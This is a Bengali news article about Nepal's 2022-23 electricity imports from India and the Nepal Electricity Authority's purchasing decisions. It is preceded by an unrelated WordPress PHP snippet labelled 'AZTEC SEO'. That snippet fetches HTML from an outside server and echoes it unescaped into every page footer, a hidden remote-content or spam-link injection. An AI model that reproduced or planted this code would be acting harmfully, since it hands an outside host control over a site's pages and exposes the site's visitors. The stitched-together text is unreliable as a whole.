/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
ভারত থেকে এক বছরে ১৯.৪৪ বিলিয়ন নেপালি রুপির (১৯৪৪ কোটি নেপালি রুপি বা প্রায় ১৬০৬ কোটি টাকা) বিদ্যুৎ আমদানি করেছে নেপাল। এ সময় ভারত থেকে দেশটির মোট রপ্তানি আয় ছিল ১০.১০ বিলিয়ন রুপি। অর্থাৎ, ভারত থেকে রপ্তানি আয়ের প্রায় দ্বিগুণ টাকার বিদ্যুৎ কিনেছে নেপাল।
নেপাল বিদ্যুৎ কর্তৃপক্ষের (এনইএ) বরাত দিয়ে কাঠমান্ডু পোস্ট আজ মঙ্গলবার এক প্রতিবেদনে জানায়, ২০২২-২৩ অর্থবছরে ভারত থেকে নেপাল এই বিদ্যুৎ কিনেছে।
বিদ্যুৎ রপ্তানিকারক দেশ হতে চাওয়া নেপালে শুষ্ক মৌসুমে অভ্যন্তরীণ উৎপাদন তীব্রভাবে কমে যায়। ফলে এনইএ বিদ্যুৎ কেনার জন্য বড় খরচ করতে বাধ্য হয়েছে।
নেপাল গত অর্থবছরে এক হাজার ৩৩৩ গিগাওয়াট বিদ্যুৎ রপ্তানি করেছে এবং এক হাজার ৮৩৩ গিগাওয়াট আমদানি করেছে।
এনইএ-এর ব্যবস্থাপনা পরিচালক কুল মান ঘিসিং বলেছেন, গত অর্থবছরে দীর্ঘা মেয়াদি খরার কারণে অভ্যন্তরীণ বিদ্যুৎ উৎপাদন কমে যায়। ফলে বিদ্যুৎ আমদানি করতে হয়েছিল এবং নেপাল বিদ্যুতের নিট আমদানিকারক হয়ে ওঠে।
এমন পরিস্থিতিতে ভারতীয় জেনারেটর ও ব্যবসায়ীদের কাছ থেকে বিদ্যুৎ সংগ্রহের সিদ্ধান্ত নিয়েছে এনইএ। তারা আশা করছে, এতে প্রতিযোগিতার সৃষ্টি হবে ও বিদ্যুতের ক্রয় মূল্য কমবে।
নেপাল বিদ্যুৎ কর্তৃপক্ষের ২০২২-২৩ সালের বার্ষিক রিপোর্টে বলা হয়েছে, যেহেতু সর্বনিম্ন বিডের দাম ভারতে পাওয়ার এক্সচেঞ্জ মার্কেটে গড় দামকে ছাড়িয়ে গেছে, তাই এনইএ বিডিং প্রক্রিয়া বাতিল করতে বাধ্য ছিল। সেইসঙ্গে মার্চ, এপ্রিল ও মে মাসের জন্য ভারতীয় বিদ্যুৎ ব্যবসায়ীদের সঙ্গে একটি দ্বিপাক্ষিক চুক্তি বজায় রাখতে বাধ্য ছিল।
উল্লেখ্য, ২০১৯-২০ অর্থবছর থেকে বিদ্যুৎ উৎপাদন বৃদ্ধি পাওয়ায় আমদানি প্রবণতা নিম্নমুখী রয়েছে।